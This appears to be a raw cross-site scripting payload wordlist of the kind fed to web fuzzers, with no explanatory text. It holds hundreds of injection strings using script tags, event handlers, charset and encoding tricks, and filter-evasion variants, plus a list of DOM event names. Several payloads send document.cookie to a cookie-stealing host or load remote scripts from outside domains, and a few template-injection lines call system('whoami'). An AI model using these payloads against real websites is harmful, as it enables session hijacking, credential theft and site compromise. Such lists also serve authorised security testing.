"><img/anyjunk/onerror=alert(1) src=a>
"><img/onerror=alert(1) src=a>
"><img/src="1"/onerror="alert(1)"
"><img/src=">"onerror=confirm(123)>
"><img/src="mars.png"alt="mars">
"><img/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg' onmouseover=	prompt(1)
"><img/’onerror=alert(1) src=a>
"><img/”onerror=alert(1) src=a>
"><img[%09]onerror=alert(1) src=a>
"><img[%0a]onerror=alert(1) src=a>
"><img[%0d]onerror=alert(1) src=a>
"><img[a][b]src=x[d]onerror[c]=[e]"alert(1)">
"><img[a][b]src=x[d]onerror[c]=[e]"prompt(1)">
"><input autofocus onfocus=alert(1)>
"><input id=x><input id=x><script>alert(x)</script>
"><input onblur=alert(1) autofocus><input autofocus>
"><input onblur=javascript:alert(1) autofocus><input autofocus>
"><input onblur=write(1) autofocus><input autofocus>
"><input onfocus=javascript:alert(1) autofocus>
"><input onfocus=write(1) autofocus>
"><input oninput=alert(1)>
"><input type="image" dynsrc="javascript:alert(1);">
"><input type="image" formaction=JaVaScript:alert(0)>
"><input type="submit" formaction="javascript:this['a'+'lert']`1`"
"><input type="text" AUTOFOCUS onfocus=alert(1)>
"><input type="text" value=``<div/onmouseover='alert(1)'>X</div>
"><input type=image src=X.gif onreadystatechange=alert(1)>
"><input+onfocus=alert(1)>
"><isindex action="javas	cript:alert(1)" type=image>
"><isindex action="javascript:alert(1)" type=image>
"><isindex action=data:text/html, type=image>
"><isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
"><isindex action=javascript:alert(1) type=image>
"><isindex type=image src=1 onerror=alert(1)>
"><isindex type=image src=X.gif onreadystatechange=alert(1)>
"><isindexformaction="javascript:alert(1)" type=image>
"><keygen autofocus onfocus=alert(1)>
"><keygen onfocus=javascript:alert(1) autofocus>
"><li style=list-style:url() onerror=alert(1)></li>
"><link rel="stylesheet" href="http://8ant.org/asdfqwer.css"><"
"><link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d
"><listing><img src=x onerror=alert(1)></listing>
"><marquee/onstart=confirm(1)>
"><marquee/onstart=confirm(2)>/
"><marquee>Kerala Cyber Force</marquee>
"><marquee>alert( `X :)`)</marquee>
"><math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/X.js">click
"><meta HTTP-EQUIV="REFRESH" content="0; url=http://127.0.0.1:3555/xss_serve_payloads/X.html">
"><meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾
"><meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾
"><meta charset=HZ-GB-2312><scrip~}t>alert(1)</script>
"><meta charset=Shift_JIS><script>x="?\";alert(1)//"</script>
"><meta charset=Shift_JIS><script>x="く\";alert(1)//"</script>
"><meta charset=utf-7><img src=x o%2BAG4-error=alert(1)>
"><meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
"><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
"><meta http-equiv="refresh" content="0; url=data:text/html;blabla,<script>alert(1)</script>">
"><meta http-equiv="refresh" content="0;javascript:alert(1)"/>
"><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html"
"><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html">
"><meta%20charset=HZ-GB-2312><scrip~}t>alert(1)</scrip~}t>
"><object classid="clsid:..." codebase="javascript:alert(1);">
"><object data="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></object>
"><object data="javascript:alert(1)">
"><object data='data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml ">confirm(1)</script>>'>
"><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>
"><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>?
"><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>
"><object data=javascript:alert(1)>
"><object onerror=alert(1)>
"><object src=1 href=1 onerror="javascript:alert(1)"></object>
"><object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
"><object type=image src=X.gif onreadystatechange=alert(1)></object>
"><object/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf
"><object/data=//goo.gl/nlX0P>
"><p id=""onmouseover=\u0070rompt(1) //
"><p style="background:url('javascript:alert(1)')">
"><p style="font-family:'\22\3bx:expression(alert(1))/*'">
"><p/onmouseover=javascript:alert(1); >X</p>
"><q/oncut=alert(1)>
"><q/oncut=open()>
"><s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>
"><s[NULL]cript>alert(1)</s[NULL]cript>'>X</a>
"><sc'+'ript>alert(1)</script>
"><scr%00ipt%20&message=> alert(X)</script>
"><scr%00ipt%20&message=> alert(‘X’)</script>
"><scr/**/ipt>alert(1)</sc/**/ipt>
"><scr<script>ipt>alert(1)</scr</script>ipt>
"><scr\x00ipt>confirm(1);</scr\x00ipt>
"><scri%00pt>alert(1);</scri%00pt>
"><scri\x00pt>alert(1);</scri%00pt>
"><scrip<script>t>alert(1)</script>
"><script a b c >alert(1)</script d e f>
"><script async>alert(1);</script async>
"><script charset>alert(1);</script charset>
"><script crossorigin>alert(1);</script>
"><script itworksinallbrowsers>/*<script* */alert(1)</script
"><script itworksinallbrowsers>/*<script* */alert(1)</script ?
"><script itworksinallbrowsers>/*<script* */alert(1)</script
"><script language=vbs>MsgBox 1</script>
"><script language=vbs>execScript(alert(1))</script>
"><script language=vbs>execScript(“alert(1)”)</script>
"><script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
"><script onreadystatechange=alert(1)>
"><script src="#">{alert(1)}</script>;1
"><script src="file:///c:/wonderful.js"></script><"
"><script src="javascript:alert(1)">
"><script src=//brutelogic.com.br/1.js#
"><script src=1 href=1 onerror="javascript:alert(1)"></script>
"><script type="text/javascript">window.open("http://127.0.0.1:3555/xss_serve_payloads/X.html","_self");</script>
"><script type=text/javascript>alert(1)</script>
"><script x=#"async=#"src="//⒛₨
"><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
"><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
"><script%20language=vbscript>msgbox%20X</script>
"><script/src=data:text/javascript,alert(1)></script>
"><script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/X/)></script
"><script/src=data:,alert(1)%26sol;%26sol;
"><script/src=data:,alert(1)%2b"
"><script/src=data:,alert(1)-">
"><script<{alert(1)}/></script </>
"><script>alert(1).replace(/.+/,eval)</script>
"><script>({0:#0=alert/#0#/#0#(1)})</script>
"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>
"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>
"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>
"><script>a\u006cert(1);</script>
"><script>alert%281%29</script>
"><script>alert("/X"/)</script>
"><script>alert('X')</script>=a
"><script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
"><script>alert(/X/)</script>
"><script>alert(1);</script>
"><script>alert(1)</script>
"><script>alert(1)</script>/
"><script>alert(1)</script>;
"><script>alert(1)</script>=1"onPaste="eval(';)\'SSX\'(trela'.split('').reverse().join(''))"
"><script>alert(123);</script x="
"><script>alert(123)</script>
"><script>alert(20);</script x="
"><script>alert(4)</script>
"><script>alert(String.fromCharCode(75,67,70))</script>
"><script>alert([!![]] [])</script>
"><script>alert([!![]]+[])</script>
"><script>alert(\'1\')</script>
"><script>alert(\'\\/\\1\\/\\\')</script>
"><script>alert(\'\\\\1\\\\\')</script>
"><script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>
"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
"><script>document.body.innerHTML="<a onmouseover%0B=location='\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x61\x6C\x65\x72\x74\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B'><input name=attributes>";</script>
"><script>document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie</script>
"><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'+document.cookie</script>
"><script>document.write(toStaticHTML("<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>"))</script>
"><script>eval(a\154ert(1));</script>
"><script>eval(a\l\ert\(1\));</script>
"><script>eval(a\u006cert(1));</script>
"><script>eval(a\x6cert(1));</script>
"><script>eval(al+ert(1));</script>
"><script>eval(String.fromCharCode(75,67,70));</script>
"><script>eval(atob(amF2YXNjcmlwdDphbGVydCgxKQ));</script>
"><script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script>
"><script>eval(‘a\154ert(1)’);</script>
"><script>eval(‘a\l\ert\(1\)’);</script>
"><script>eval(‘a\u006cert(1)’);</script>
"><script>eval(‘a\x6cert(1)’);</script>
"><script>eval(‘al’+’ert(1)’);</script>
"><script>execScript(MsgBox 1,vbscript);</script>
"><script>execScript(“MsgBox 1”,”vbscript”);</script>
"><script>function::[alert](1)</script>
"><script>function::[‘alert’](1)</script>
"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>
"><script>prompt(-[])</script>
"><script>prompt(1)</script>
"><script>this["alert"]("X")</script>
"><script>var a = </script><script>alert(1)</script>
"><script>var a = ‘</script><script>alert(1)</script>
"><script>var url = "<!--<script>";//</script>alert(1)</script>
"><script>var var = 1; alert(var)</script>
"><script>window.open( "http://127.0.0.1:3555/xss_serve_payloads/X.html" )</script>
"><script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
"><script>’alert(1)’.replace(/.+/,eval)</script>
"><script\x09type="text/javascript">javascript:alert(1);</script>
"><script\x0Atype="text/javascript">javascript:alert(1);</script>
"><script\x0Ctype="text/javascript">javascript:alert(1);</script>
"><script\x0Dtype="text/javascript">javascript:alert(1);</script>
"><script\x20type="text/javascript">javascript:alert(1);</script>
"><script\x2Ftype="text/javascript">javascript:alert(1);</script>
"><script\x3Etype="text/javascript">javascript:alert(1);</script>
"><select autofocus onfocus=alert(1)>
"><select onfocus=javascript:alert(1) autofocus>
"><style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
"><style onreadystatechange=alert(1)>
"><style%0conload=alert(1)>
"><style>#test{x:expression(alert(/X/))}</style>
"><style>*[{}@import'test.css?]{color: green;}</style>X
"><style>*{x:expression(write(1))}</style>
"><style><!--</style><script>alert(1);//--></script>
"><style><img src="</style><img src=x onerror=alert(1)//">
"><style><img src="</style><img src=x onerror=prompt(1)//">
"><style>@import "data:,*%7bx:expression(write(1))%7D";</style>
"><style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
"><svg onload=alert(1)>
"><svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
"><svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
"><svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
"><svg onload=\u0061lert(1)>
"><svg onload=document.body.innerHTML=location.hash>#<img src='x'onerror=alert(1)>
"><svg onload=document.body.innerHTML=location.hash>#<img src=x onerror=alert(1)>
"><svg onload=document.body.innerHTML=location.hash>#<svg onload=prompt(1)>
"><svg onload=document.body.innerHTML=location.hash>#<svg/onload=prompt(1)>
"><svg onload=prompt(1);>
"><svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg>
"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg
"><svg+onload=confirm(1);>
"><svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(75)&chr(67)&chr(70)))
"><svg/onload"
"><svg/onload=location=/java/.source+/script/.source+location.h ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has h[3]//#:()
"><svg/onload=prompt(1);>
"><svg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//
"><svg><![CDATA[><image xlink:href="]]]]><![CDATA[><img src=xx:x onerror=alert(2)//"></svg>
"><svg><![CDATA[><imagexlink:href="]]]]><![CDATA[><img/src=xx:xonerror=alert(1)//"></svg>
"><svg><script>alert( 1)
"><svg><script>alert(/1/)</script>
"><svg><script>alert`1`
"><svg><script>prompt( 1)</script>
"><svg><script>varmyvar="text";alert(1)//";</script></svg>
"><svg><style><img/src=x onerror=alert(1)// </b>
"><svg><style><img src=x onerror=alert(1)></svg>
"><svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydCgxKSIgLz4NCiAgICA8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=#rectangle" />
"><table background="javascript:alert(1)"></table>
"><table background=javascript:alert(1)></table>
"><textarea autofocus onfocus=alert(1)>
"><textarea onfocus=javascript:alert(1) autofocus>
"><title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
"><title onpropertychange=alert(1)></title><title title=></title>
"><var onmouseover="prompt(1)">X</var>
"><video onerror="javascript:alert(1)"><source>
"><video onprogress=alert(1)><source src=//a.a>
"><video onprogress=alert(1)><source src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>
"><video onprogress=alert(1)><source src=x>
"><video poster=javascript:alert(1)//<video poster=javascript:alert(1)//></video>
"><video poster=javascript:alert(1)//></video>
"><video poster=prompt(1)//></video>
"><video src=1 href=1 onerror="javascript:alert(1)"></video>
"><video src=1 onerror=alert(1)>
"><video/onprogress=alert(1)><source/src=//a.a>
"><video/onprogress=alert(1)><source/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>
"><video/onprogress=alert(1)><source/src=x>
"><video><source o?UTF-8?Q?n?error="alert(1)">
"><video><source onerror="alert(1)">
"><video><source onerror="javascript:alert(1)">
"><video><source onerror="prompt(1)">
"><video><source onerror="prompt(1)"></source></video>
"><x onload'=alert(1)
"><x style="background:url('x[a];color:red;/*')">XXX</x>
"><x style="behavior:url(test.sct)">
"><x style=behavior:url(#default#time2) onbegin=alert(1)>
"><x style=x:expression(alert(1))>
"><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1);</x:script>
"><xml id="X" src="test.htc"></xml><label dataformatas="html" datasrc="#X" datafld="payload"></label>
"><xml onreadystatechange=alert(1)>
"><xml src="javascript:alert(1);">
"><xml> <rect style="height:100%;width:100%" id="X" onmouseover="alert(1)" strokecolor="white" strokeweight="2000px" filled="false" /> </xml>
"><xmp> <% </xmp> <img alt='%></xmp><img src=xx:x onerror=alert(1)//'> <script> x='<%' </script> %>/ alert(2) </script> XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>
">=prompt(9)>="
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"><script>onerror=alert;throw 1337</script>
">>>prompt(9)>>>"
">>prompt(9)>>"
">prompt(9)>"
"?prompt(9):"
"[\xC0][\xBC]script>document.write(""XSS-XSS-XSS"");[\xC0][\xBC]/script>"
"\"";alert('XSS');//"
"]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//
"^prompt(9)^"
"`'><script>-javascript:alert(145)</script>
"`'><script>\x00javascript:alert(138)</script>
"`'><script>\x09javascript:alert(134)</script>
"`'><script>\x0Ajavascript:alert(146)</script>
"`'><script>\x0Bjavascript:alert(162)</script>
"`'><script>\x0Cjavascript:alert(142)</script>
"`'><script>\x0Djavascript:alert(129)</script>
"`'><script>\x20javascript:alert(163)</script>
"`'><script>\x21javascript:alert(158)</script>
"`'><script>\x2Bjavascript:alert(143)</script>
"`'><script>\x3Bjavascript:alert(128)</script>
"`'><script>\x7Ejavascript:alert(148)</script>
"`'><script>\xC2\x85javascript:alert(152)</script>
"`'><script>\xC2\xA0javascript:alert(164)</script>
"`'><script>\xE1\x9A\x80javascript:alert(141)</script>
"`'><script>\xE1\xA0\x8Ejavascript:alert(161)</script>
"`'><script>\xE2\x80\x80javascript:alert(157)</script>
"`'><script>\xE2\x80\x81javascript:alert(131)</script>
"`'><script>\xE2\x80\x82javascript:alert(159)</script>
"`'><script>\xE2\x80\x83javascript:alert(154)</script>
"`'><script>\xE2\x80\x84javascript:alert(132)</script>
"`'><script>\xE2\x80\x85javascript:alert(136)</script>
"`'><script>\xE2\x80\x86javascript:alert(160)</script>
"`'><script>\xE2\x80\x87javascript:alert(149)</script>
"`'><script>\xE2\x80\x88javascript:alert(137)</script>
"`'><script>\xE2\x80\x89javascript:alert(135)</script>
"`'><script>\xE2\x80\x8Ajavascript:alert(140)</script>
"`'><script>\xE2\x80\x8Bjavascript:alert(155)</script>
"`'><script>\xE2\x80\xA8javascript:alert(139)</script>
"`'><script>\xE2\x80\xA9javascript:alert(151)</script>
"`'><script>\xE2\x80\xAFjavascript:alert(147)</script>
"`'><script>\xE2\x81\x9Fjavascript:alert(150)</script>
"`'><script>\xE3\x80\x80javascript:alert(133)</script>
"`'><script>\xEF\xBB\xBFjavascript:alert(130)</script>
"`'><script>\xEF\xBF\xAEjavascript:alert(153)</script>
"`'><script>\xEF\xBF\xBEjavascript:alert(156)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(144)</script>
"ascript:alert('XSS');"">"
"autofocus x=
"auttofocus/onfocus=alert(1)//
"exp/*<A STYLE='no\xss:noxss(""*//*"");xss:ex/*XSS*//*/*/pression(alert(""XSS""))'>"
"javascript:confirm(0);",
"javascript:prompt(/compaXSS/.source);var x = prompt;x(0);x(/XSS/.source);x"
"name":"Foo <img src=x onerror=alert(/XSS/.source)>Bar"
"o<nblur='`
"onBlur="alert('XSS')"
"onContextMenu="alert('XSS')"
"onCopy="alert('XSS')"
"onDblClick="window['aleraaaat'.replace('aaaa','')]('XaaaaSaaaaS'.replace('aaaa','').replace('aaaa',''))"
"onKeyDown="parent['aleraaaaat'.replace('aaaaa','')]('XaaaaaSaaaaaS'.replace('aaaaa','').replace('aaaaa',''))"
"onMouseDown="alert('XSS')"
"onMouseEnter="alert('XSS')"
"onMouseLeave="alert('XSS')"
"onMouseMove="alert('XSS')"
"onMouseOut="alert('XSS')"
"onMouseUp="window[String.fromCharCode(501-404,501-393,501-400,501-387,501-385)]('XSS')"
"onSelect="alert('XSS')"
"onabort",
"onactivate",
"onafterprint",
"onafterscriptexecute",
"onafterupdate",
"onanimationend",
"onanimationiteration",
"onanimationstart",
"onariarequest",
"onautocomplete",
"onautocompleteerror",
"onbeforeactivate",
"onbeforecopy",
"onbeforecut",
"onbeforedeactivate",
"onbeforeeditfocus",
"onbeforepaste",
"onbeforeprint",
"onbeforescriptexecute",
"onbeforeunload",
"onbeforeupdate",
"onbegin",
"onblur",
"onblur<='`
"onbounce",
"oncancel",
"oncanplay",
"oncanplaythrough",
"oncellchange",
"onchange",
"onclick",
"onclick="alert('XSS')"
"onclose",
"oncommand",
"oncompassneedscalibration",
"oncontextmenu",
"oncontrolselect",
"oncopy",
"oncuechange",
"oncut",
"ondataavailable",
"ondatasetchanged",
"ondatasetcomplete",
"ondblclick",
"ondeactivate",
"ondevicelight",
"ondevicemotion",
"ondeviceorientation",
"ondeviceproximity",
"ondrag",
"ondragdrop",
"ondragend",
"ondragenter",
"ondragleave",
"ondragover",
"ondragstart",
"ondrop",
"ondurationchange",
"onemptied",
"onend",
"onended",
"onerror",
"onerrorupdate",
"onexit",
"onfilterchange",
"onfinish",
"onfocus",
"onfocus="window['\141\154\145\162\164']('\130\123\123')"
"onfocusin",
"onfocusin="top['\x61\x6C\x65\x72\x74']('\x58\x53\x53')"
"onfocusout",
"onfocusout="parent[String.fromCharCode(500-403,500-392,500-399,500-386,500-384)](String.fromCharCode(300-212,300-217,300-217))"
"onformchange",
"onforminput",
"onfullscreenchange",
"onfullscreenerror",
"ongotpointercapture",
"onhashchange",
"onhelp",
"oninput",
"oninvalid",
"onkeydown",
"onkeypress",
"onkeyup",
"onlanguagechange",
"onlayoutcomplete",
"onload",
"onload="a=document.createElement('script');a.setAttribute('src',String.fromCharCode(104,116,116,112,58,47,47,109,97,108,101,114,105,115,99,104,46,110,101,116,47,97,46,106,115));document.body.appendChild(a)
"onloadeddata",
"onloadedmetadata",
"onloadstart",
"onlosecapture",
"onlostpointercapture",
"onmediacomplete",
"onmediaerror",
"onmessage",
"onmousedown",
"onmouseenter",
"onmouseleave",
"onmousemove",
"onmouseout",
"onmouseover",
"onmouseover="(new Function('rssseturn(alesssrt)'.split('sss').join('')))()(('SXS'+'SXS').slice(-5,4))"
"onmouseover="alert(1)
"onmouseover=alert(1);a="
"onmouseup",
"onmousewheel",
"onmove",
"onmoveend",
"onmovestart",
"onmozfullscreenchange",
"onmozfullscreenerror",
"onmozpointerlockchange",
"onmozpointerlockerror",
"onmscontentzoom",
"onmsfullscreenchange",
"onmsfullscreenerror",
"onmsgesturechange",
"onmsgesturedoubletap",
"onmsgestureend",
"onmsgesturehold",
"onmsgesturestart",
"onmsgesturetap",
"onmsgotpointercapture",
"onmsinertiastart",
"onmslostpointercapture",
"onmsmanipulationstatechanged",
"onmspointercancel",
"onmspointerdown",
"onmspointerenter",
"onmspointerleave",
"onmspointermove",
"onmspointerout",
"onmspointerover",
"onmspointerup",
"onmssitemodejumplistitemremoved",
"onmsthumbnailclick",
"onoffline",
"ononline",
"onoutofsync",
"onpage",
"onpagehide",
"onpageshow",
"onpaste",
"onpause",
"onplay",
"onplaying",
"onpointercancel",
"onpointerdown",
"onpointerenter",
"onpointerleave",
"onpointerlockchange",
"onpointerlockerror",
"onpointermove",
"onpointerout",
"onpointerover",
"onpointerup",
"onpopstate",
"onprogress",
"onpropertychange",
"onratechange",
"onreadystatechange",
"onreceived",
"onrepeat",
"onreset",
"onresize",
"onresizeend",
"onresizestart",
"onresume",
"onreverse",
"onrowdelete",
"onrowenter",
"onrowexit",
"onrowinserted",
"onrowsdelete",
"onrowsinserted",
"onscroll",
"onsearch",
"onseek",
"onseeked",
"onseeking",
"onselect",
"onselectionchange",
"onselectstart",
"onshow",
"onstalled",
"onstart",
"onstop",
"onstorage",
"onstoragecommit",
"onsubmit",
"onsuspend",
"onsynchrestored",
"ontimeerror",
"ontimeupdate",
"ontoggle",
"ontrackchange",
"ontransitionend",
"onunload",
"onurlflip",
"onuserproximity",
"onvolumechange",
"onwaiting",
"onwebkitanimationend",
"onwebkitanimationiteration",
"onwebkitanimationstart",
"onwebkitfullscreenchange",
"onwebkitfullscreenerror",
"onwebkittransitionend",
"onwheel"
"perl -e 'print ""<IMG SRC=java\0script:alert(\""XSS\"")>"";' > out"
"perl -e 'print ""<SCR\0IPT>alert(\""XSS\"")</SCR\0IPT>"";' > out"
"text </script><script>alert(1)</script>"
"width:expression(prompt(1))
"xss'cx</img
"|alert(1)|"
"|prompt(9)|"
"||prompt(9)||"
#<script>alert(1)</script>
#?gad=xxxx"onload="alert(1)"
#”><img src=x onerror=prompt(1)>
$("button").val("<iframe src=vbscript:confirm(1)>")
${''.constructor.constructor('alert(1)')()}
${@print(system(“whoamiâ€))}
${@print(system(“dir”))}
${alert(1337)}`' autofocus
%'});%0aalert(1);%20//
%00><script>alert(1)</script>
%00"><script>alert(1)</script>
%00“><script>alert(1)</script>
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
%0d%0adata:text/html;text,<svg/onload=prompt(1)>
%22%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E
%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3E0x94(0x000123)%3C
%22/%3E%3CBODY%20onload=document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)%3E
%22/%3E%3CBODY%20onload=ídocument.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)í%3E
%22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(1);>
%22]);}catch(e){}if(!self.a)self.a=!alert(1);/
%22onmouseover=%22alert(1)
%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45
%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%33%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35%25%32%35%25%33%34%25%34%32%25%32%35%25%33%34%25%33%33%25%32%35%25%33%34%25%33%36%25%32%35%25%33%33%25%34%33%25%32%35%25%33%32%25%34%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35
%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45
%253C%2521--%2520%2560%253C%253F%2520foo%253D%2522%253E%253Cscript%253Econfirm%25281%2529%253C%252Fscript%253E%2522%253E
%253C%2521--%2520%2560%253Cimg%252Fsrc%253Dxx%253Axx%2520onerror%253Dalert%25281%2529%252F%252F--%2521%253E
%253C%252500%252Ftitle%253E
%253C%253Fxml-stylesheet%2520type%253D%2522text%252Fcss%2522%253F%253E%253Croot%2520style%253D%2522x%253Aexpression%2528write%25281%2529%2529%2522%252F%253E
%253CXML%2520SRC%253D%2522http%253A%252F%252Fha.ckers.org%252Fxsstest.xml%2522%2520ID%253DI%253E%253C%252FXML%253E
%253Cbase%2520href%253D%2522javascript%253A%255C%2522%253E%2520%253Ca%2520href%253D%2522%252F%252F%252500confirm%25282%2529%253B%252F%252F%2522%253EXSS%253C%252Fa%253E
%253Cmath%253E%253Ca%252Fxlink%253Ahref%253Djavascript%2526colon%253Bconfirm%2526lpar%253B1%2526rpar%253B%253Eclick
%253Cscript%253Ealert(1)%253C/script%253E
%253Cscript%253Econfirm%25289%2529%253C%252Fscript%253E
%253Csvg%2520onload%253D%2522confirm%25287%2529%2522%253E
%253E%2522%253C%253E%2522%253Cscript%253Econfirm%25281%2529%253C%252Fscript%253E
%253cimg%20onerror=alert(1)%20src=a%253e
%26'%22%3E%3Cscript%3Ealert(%2FX%2F)%3C%2Fscript%3E%3D
%27%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E
%27; confirm(1); %27
%2Balert(0x000123)%2B'
%3C%2Ftitle%3E%3Cscript%20src%3D%22data:&q=jav%26%23x76;s%26%23x76;ript%26colon;a%26%23x5c;u006Cert(1)%22%3E
%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%64%65%3E
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43%72%6F
%3Cdiv%20style=-webkit-writing-mode:vertical-rl%3Boverflow:scroll%20onscroll=alert(1)%3E
%3Cdiv%20style=writing-mode:tb%3Boverflow:scroll%20onscroll=alert(1)%3E
%3Cdiv%20style=writing-mode:tb-rl%3Boverflow:scroll%20onscroll=alert(1)%3E
%3Cdiv%20style=writing-mode:vertical-rl%3Boverflow:scroll%20onscroll=alert(1)%3E
%3Cform%20onmouseover%3Dalert(1)%3E%3Cinput%20name%3Dattributes%3E
